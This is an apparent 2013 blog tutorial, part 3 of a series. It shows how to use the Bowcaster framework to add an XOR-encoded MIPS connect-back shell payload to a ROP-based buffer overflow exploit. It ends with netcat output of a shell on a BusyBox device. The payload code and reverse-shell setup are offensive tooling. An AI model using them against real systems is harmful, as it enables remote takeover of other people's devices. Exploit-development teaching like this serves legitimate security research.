Friday, March 29, 2013

Buffer Overflows with Bowcaster Part 3

This is the third part in a multi part tutorial on using the Bowcaster exploit development framework to build a buffer overflow exploit. Here are part 1 and part 2.

In the last part, we had built an exploit buffer and added a ROP chain that would flush the MIPS CPU cache, locate the stack (which is randomized), and return into it.  Now it's time to add a payload.

Bowcaster provides a few MIPS Linux payloads, and the one we'll use for this buffer overflow is the connect-back payload, which will yield an interactive shell.

In order to create a payload object, you must pass the constructor a ConnectbackHost object.  The host object is created from the IP address and TCP port you want your target to connect back to.  The "port=" parameter is optional and defaults to 8080.


from bowcaster.servers import ConnectbackHost

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080

Then you pass your host object to the constructor of the payload object:


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

In addition to the host object, the payload constructor requires an endianness parameter.

Payload objects have a shellcode attribute that you can use to create a string section.  Add the new string section to your list of replacement sections that will be passed into the OverflowBuffer constructor.  Here's an example, trimmed for brevity:



from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

section=SC.string_section(700,payload.shellcode,
            description="connect-back payload")
sections.append(section)
buf=OverflowBuffer(LittleEndian,1300,sections)


If you have a set of restricted bytes that you must avoid in your buffer overflow, you may want to use an encoder. You also will want to use an encoder if your connect-back address or port will contain nul bytes, such as 192.168.0.1. Bowcaster provides an XOR encoder that will attempt to encode your payload, sanitizing out your bad bytes.

Similar to normal payloads, encoded payloads have a shellcode attribute.  Below is the previous example, modified to encode the payload.


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

#XOR encode the payload.
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)
section=SC.string_section(700,encoded_payload.shellcode,
            description="encoded connect-back payload")
sections.append(section)

buf=OverflowBuffer(LittleEndian,1300,sections)


There are some important things to note about the encoder.  First, it only encodes your payload.  So if there are bad bytes in your ROP chain, there's nothing the encoder can do about that.  As I explained in the previous part, if you attempt to create a replacement section with SectionCreator that would have bad bytes, it'll let you know by raising an exception.  So at least there's that.

Also, the XOR encoder scans its decoder stub, which, of course, has to stay unencoded, for your bad bytes and will raise an exception if it fails that test.

Additionally, the XOR encoder takes an optional parameter, "key=", which needs to be a 4-byte integer.  If you provide this, the encoder will attempt to use that key to encode your payload.  If the key itself or the encoded payload contains any of your bad bytes, an exception is raised.  If you don't provide a key, it generates one randomly.  It will make a certain number of attempts[1] to generate a key and encode your payload without bad bytes.  If it exceeds the maximum number of attempts without a successful encode, an exception is raised.  This brute-force method is kind of a pain because it means sometimes the encode will be successful, other times it won't.  It may fail once, then succeed if you run it again.  Boo.  If you have just two or three bad bytes, the encode will almost always succeed. The more you have the less likely it will succeed.  Anyway, the encoder logs the key that it used.  If you find one that works, then save it and pass it to the constructor from then on to make sure your encode always works.

At this point you should have a complete, working buffer overflow exploit that will cause your target to connect back to the specified host and port.  You can accept the incoming connection with a traditional netcat listener:


zach@endor:/Volumes/Users/share/code/bowcaster (130) $ nc -l 8080
/bin/sh -i


BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

# cat /proc/version

Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#


In the next part, I'll show how to use one of the connect-back servers provided by Bowcaster in place of the netcat listener.

UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster
UPDATE 4/17/2013: Added explanation about payload and encoded payloads having a shellcode attribute.
--------------------
[1] I may make this tunable or self-tuning in the future. Not sure. Open to ideas on this.